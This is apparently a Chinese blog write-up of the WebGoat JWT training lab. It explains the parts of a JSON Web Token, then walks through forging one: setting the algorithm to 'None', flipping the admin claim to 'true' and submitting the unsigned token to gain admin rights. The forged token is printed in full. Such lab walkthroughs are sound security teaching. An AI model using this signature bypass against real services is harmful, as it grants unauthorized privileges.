webgoat-JWT tokens

webgoat-JWT tokens

题目要求:

题目要求,修改token,使普通用户拥有管理员权限并且重置投票。投票系统右上角可以切换账户。


思路:

先简单分析一下jwt的token组成,token分成三个部分组成:

1、header是base64编码后的头部信息,里面包含类似这样的东西:

{
'typ': 'JWT',
'alg': 'HS256'
}

定义了声明type和签名算法alg;

2、payload是base64编码后的载荷部分,可以用来包含用户名、权限、超时等信息,类似这样的:

{
"exp": 1416471934, # 超时
"user_name": "user", # 用户名
"scope": [
"read",
"write"
],
"authorities": [
"ROLE_ADMIN",
"ROLE_USER"
],
"jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", # token的标识,防重放
"client_id": "my-client-with-secret" # 签名的盐
}

3、signature是加密后的base64(header)+base64(payload)内容,防止篡改。


思路:

1、先获取一个正常能投票用户的token;

右上角切换账户,然后点rest重置投票,在burpsuite里面拦截看下token:

2、拿着token去解密看下:

eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1NjE0ODM1MDcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0.p-Yae1SvVusVnPZ6UomPI97lPbP0R_Id_Q3hZX8fPqym5qbIRB-Oaf6B58_-JzeA-Z66vB7Xx69w-GfZat8itA

分成三段:

eyJhbGciOiJIUzUxMiJ9 => {"alg":"HS512"}

eyJpYXQiOjE1NjE0ODM1MDcsImFkbWluIjoiZmFsc2UiLCJ1c2VyIjoiVG9tIn0 =>{"iat":1561483507,"admin":"false","user":"Tom"}

能看到签名算法用的HS512,账户是tom,admin角色是false。

3、修改token:

{"alg":"HS512"}改成{"alg":"None"},即不使用签名;

{"iat":1561483507,"admin":"false","user":"Tom"}改成{"iat":1561483507,"admin":"true","user":"Tom"},即设置权限为admin;

然后分别重新base64加密,然后组合:

eyJhbGciOiJOb25lIn0=.eyJpYXQiOjE1NjE0ODM1MDcsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJUb20ifQ==.

(最后这个点还是要加,jwt解析的时候必须要有两个点来分割这三段)

然后替换修改后的token来提交rest重置投票即可:


token认证是用来干嘛的?

弥补session认证的不足,具体的那些不足我就不逼逼了。

发布于 2019-06-16 02:19